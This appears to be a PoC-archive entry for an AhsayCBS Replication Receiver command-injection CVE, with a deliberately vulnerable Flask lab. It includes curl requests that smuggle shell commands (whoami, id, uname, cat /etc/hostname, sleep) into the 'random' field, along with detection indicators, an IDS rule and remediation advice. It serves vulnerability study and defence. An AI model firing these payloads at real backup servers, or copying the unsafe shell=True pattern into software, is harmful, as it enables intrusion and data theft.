PoC Archive PoC Archive
CVE-2026-105134 category: web CVSS 10 (CRITICAL) KEV EPSS 55%
Patched

AhsayCBS Replication Receiver OS Command Injection (CVE-2026-105134) — Lab Reproduction

Published: 2026-11-25 • Researcher: RayanAlmulhim (lab author); VulDB (CNA, VDB-413351); Ahsay (vendor)

Target software Ahsay AhsayCBS — Replication Receiver component (endpoint /rps/api/json/UpdateReceivers.do)
Affected versions Up to 9.15.2.69 and up to 10.3.4.44 (fixed in 9.15.2.70 and 10.3.4.45)
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV EPSS 55%

Confirmed exploited in the wild. Added to CISA KEV 2026-10-14. Federal remediation deadline 2026-10-17.

EPSS 55.0% · 99th percentile

Severity
Critical
CVE
CVE-2026-105134
Category
web
Affected product
Ahsay AhsayCBS — Replication Receiver component (endpoint /rps/api/json/UpdateReceivers.do)
Affected versions
Up to 9.15.2.69 and up to 10.3.4.44 (fixed in 9.15.2.70 and 10.3.4.45)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-05
Author / ResearcherRayanAlmulhim (lab author); VulDB (CNA, VDB-413351); Ahsay (vendor)
CVE / AdvisoryCVE-2026-105134
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1 base score; vector not provided in the source data — See references)
StatusPoC
TagsRCE, OS-command-injection, CWE-78, Ahsay, AhsayCBS, replication-receiver, Flask, unauthenticated, lab-only
RelatedN/A

Affected Target

FieldValue
Software / SystemAhsay AhsayCBS — Replication Receiver component (endpoint /rps/api/json/UpdateReceivers.do)
Versions AffectedUp to 9.15.2.69 and up to 10.3.4.44 (fixed in 9.15.2.70 and 10.3.4.45)
Language / PlatformJava (AhsayCBS server); the archived lab is Python/Flask on Linux or macOS
Authentication RequiredNo (per the CVSS 10.0 PR:N profile; verify against the target deployment)
Network Access RequiredYes

Summary

Ahsay AhsayCBS through 9.15.2.69 and 10.3.4.44 contains an OS command injection flaw in the Replication Receiver component. The random argument of /rps/api/json/UpdateReceivers.do is passed into a shell command without sanitisation, so a remote attacker can append command separators or command substitutions and execute arbitrary operating system commands on the backup server. Exploitation requires network access to the CBS management/replication interface, and the vulnerability is remotely exploitable with a published exploit; NVD scores it 10.0 and CISA added it to the KEV catalogue on 2026-10-14. The archived repository is not the AhsayCBS source: it is a clean-room Flask lab that reproduces the same bug class so the injection, detection and fix can be studied safely on localhost.

Vulnerability Details

Root Cause

The Replication Receiver builds a shell command string from an externally supplied value. In the UpdateReceivers.do handler the request parameter random, intended to be an opaque nonce for the replication handshake, is interpolated into a command template that is then executed with shell semantics. Because the value is neither validated against an allowlist nor quoted, shell metacharacters survive into the command line and are interpreted by the shell. The upstream lab models exactly this pattern (see app.py, where the random field is formatted into an echo command executed with shell=True), and the patched_app.py shows the correct fix: an allowlist token regex plus no shell and no string-built command at all.

Attack Vector

A remote attacker sends an HTTP POST to /rps/api/json/UpdateReceivers.do on the AhsayCBS host with a JSON body containing receiver_id and random. Setting random to a value such as x; id or x$(id) causes the injected command to run in the context of the AhsayCBS service account. Versions before 9.15.2.70 / 10.3.4.45 do not reject shell metacharacters in that field. Where the reply does not echo command output, the injection is blind and can be confirmed with time delays (sleep) or outbound DNS/HTTP callbacks.

Impact

Arbitrary command execution as the AhsayCBS service user on the backup server. AhsayCBS stores backup data, repository credentials and replication configuration, so compromise of the CBS host can expose or destroy protected backups, enable lateral movement into the backup network, and undermine the integrity of the whole backup estate. The vendor-supplied CVSS base score is 10.0, and the vulnerability is listed in CISA KEV, so it is treated as exploited in the wild.

Environment / Lab Setup

Output
OS:          Linux or macOS (any host that runs Python 3)
Target:      app.py — deliberately vulnerable Flask reproduction of the
             UpdateReceivers.do endpoint (127.0.0.1:5000)
Compare:     patched_app.py — fixed variant (127.0.0.1:5001)
Attacker:    Same host, curl or any HTTP client
Tools:       Python 3, pip, Flask, curl
Note:        This is NOT an AhsayCBS install. A real 9.15.2.69 or 10.3.4.44
             CBS host is required to test the actual product, and that test
             requires written authorisation.

Setup Steps

Shell script
1
2
3
4
5
6
7
python3 -m venv venv
source venv/bin/activate
pip install flask

python3 app.py

python3 patched_app.py

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the endpoint is live and behaves normally — a benign token returns status ok and echoes empty stdout.

    Shell script
    1
    2
    3
    
    curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
      -H "Content-Type: application/json" \
      -d '{"receiver_id": "node1", "random": "abc123"}'
  2. Inject via command chaining — the separator terminates the echo command and appends an arbitrary command; the trailing comment discards the shell wrapper’s suffix.

    Shell script
    1
    2
    3
    
    curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
      -H "Content-Type: application/json" \
      -d '{"receiver_id": "node1", "random": "x; whoami; id #"}'
  3. Inject via command substitution — the substitution is evaluated before the outer command runs, so its output lands in the response.

    Shell script
    1
    2
    3
    
    curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
      -H "Content-Type: application/json" \
      -d '{"receiver_id": "node1", "random": "x$(uname -a) #"}'
  4. Exfiltrate a file through stdout — demonstrates data access, not just command execution.

    Shell script
    1
    2
    3
    
    curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
      -H "Content-Type: application/json" \
      -d '{"receiver_id": "node1", "random": "x; cat /etc/hostname #"}'
  5. Test the blind variant pattern — against a target that does not echo output, time a delay instead: replace the payload with x; sleep 5 # and compare response latency with a baseline request.

  6. Verify the fix — repeat steps 2 to 4 against port 5001. The patched app rejects the token with HTTP 400 and message “invalid random token” because it validates the field with a strict allowlist and never invokes a shell.

Exploit Code

See app.py (vulnerable endpoint) and patched_app.py (fixed comparison) in this folder. The upstream walkthrough is upstream-README.md. No standalone exploit script ships in the repository; the request is the exploit.

Minimal inline reproduction of the injection point modelled by the lab:

Python
1
2
cmd = f"echo sync-token-{random_token} > /tmp/receiver_{receiver_id}.sync"
subprocess.run(cmd, shell=True)   # random_token and receiver_id are attacker-controlled

Expected Output

JSON
1
2
3
4
5
6
{
  "status": "ok",
  "receiver_id": "node1",
  "stdout": "<output of the injected command>\n",
  "stderr": ""
}

For the whoami/id payload the stdout field carries the service account identity (for example uid=… lines from id); the lab is illustrative, so the exact identity depends on the account that started the Flask app.

Against the patched instance (port 5001) the same request returns HTTP 400:

JSON
1
{"status": "error", "message": "invalid random token"}

Detection & Indicators of Compromise

  • Access logs for POST /rps/api/json/UpdateReceivers.do where the random (or receiver_id) value contains shell metacharacters such as ; | & $ ( ) backtick, redirection characters or newlines.
  • Child processes spawned by the AhsayCBS service process (sh, bash, whoami, id, curl, wget, nc, sleep) — a strong command-injection indicator regardless of which parameter was abused.
  • Outbound DNS or HTTP requests originating from the backup server shortly after a replication API request.
  • Unexpected writes or truncation under /tmp or the CBS temp/work directories, and sudden changes to repository or replication configuration.
  • Repeated HTTP 400 responses on the same endpoint may indicate blocklisting by a fixed build or a WAF; correlate with the source IP.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"AhsayCBS UpdateReceivers random param shell metacharacters"; \
  content:"/rps/api/json/UpdateReceivers.do"; http_uri; \
  pcre:"/\"random\"\s*:\s*\"[^\"]*[;&|$()`<>]/Ri"; sid:9002611;)

Remediation

ActionDetail
PatchUpgrade AhsayCBS to 9.15.2.70 or 10.3.4.45 (or later) on the Replication Receiver and on every replica/receiver node.
WorkaroundRestrict network access to the CBS replication and management interfaces to trusted replication peers only; never expose /rps/ to the internet. Block requests whose random/receiver_id values contain shell metacharacters at the reverse proxy or WAF.
Config HardeningRun AhsayCBS as a dedicated low-privilege account, keep repository credentials in a separate secret store, monitor for unexpected child processes under the CBS service, and apply the vendor’s hardening guidance (See references).

References

Notes

Auto-ingested from https://github.com/RayanAlmulhim/CVE-2026-105134-lab on 2026-11-25.

Review verdict: not a detector, scanner or fleet-audit tool — the repository is a runnable vulnerable application plus a fixed variant, so the injection can actually be triggered. It is, however, a clean-room lab and not an exploit for the real AhsayCBS product: the upstream README states plainly that no Ahsay code is included and that it is not a working exploit against AhsayCBS. Status is therefore PoC (lab-only) rather than Weaponized. The real endpoint and payload delivery are only described, and confirming exploitation of 9.15.2.69 / 10.3.4.44 requires an authorised AhsayCBS instance.

License: MIT (Copyright (c) 2026 Rayan), text archived as LICENSE. The repository’s DISCLAIMER.md is a zero-byte placeholder and was not copied; the README’s disclaimer section is preserved in upstream-README.md. Files were copied unmodified apart from the README rename to upstream-README.md. The lab binds to 127.0.0.1 only and was not executed during ingestion. Run only against systems you own or have written authorisation to test.

app.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
"""
Vulnerable Lab: CVE-2026-105134-style OS Command Injection
------------------------------------------------------------
Simulates the Ahsay AhsayCBS "Replication Receiver" flaw:
an endpoint accepts a 'random' parameter and unsafely feeds it
into a shell command.

FOR ISOLATED, LOCAL LAB / TRAINING USE ONLY.
Do not expose this to any network you don't fully control.
There is also a PATCHED version below (see patched_app.py) to
compare secure vs. insecure handling.
"""

from flask import Flask, request, jsonify
import subprocess
import os

app = Flask(__name__)

# Simulates the Replication Receiver config store
RECEIVERS_DB = {}


@app.route("/rps/api/json/UpdateReceivers.do", methods=["POST"])
def update_receivers():
    """
    VULNERABLE endpoint.
    Expects JSON: {"receiver_id": "...", "random": "<token>"}
    The 'random' value is meant to be an opaque nonce/token used
    to name a temp file for the replication handshake - but it's
    passed straight into a shell command, unsanitized.
    """
    data = request.get_json(force=True, silent=True) or {}
    receiver_id = data.get("receiver_id", "default")
    random_token = data.get("random", "")

    # --- THE BUG ---
    # Builds a shell command string using untrusted input directly,
    # with no quoting around the injected value at all.
    # shell=True + unquoted string interpolation = direct command injection.
    cmd = f"echo sync-token-{random_token} > /tmp/receiver_{receiver_id}.sync"
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        RECEIVERS_DB[receiver_id] = random_token
        return jsonify({
            "status": "ok",
            "receiver_id": receiver_id,
            "stdout": result.stdout,
            "stderr": result.stderr
        })
    except Exception as e:
        return jsonify({"status": "error", "message": str(e)}), 500


@app.route("/", methods=["GET"])
def index():
    return jsonify({
        "lab": "CVE-2026-105134-style OS Command Injection",
        "endpoint": "/rps/api/json/UpdateReceivers.do (POST)",
        "expected_body": {"receiver_id": "string", "random": "string"},
        "note": "The 'random' field is injected unsanitized into a shell command."
    })


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)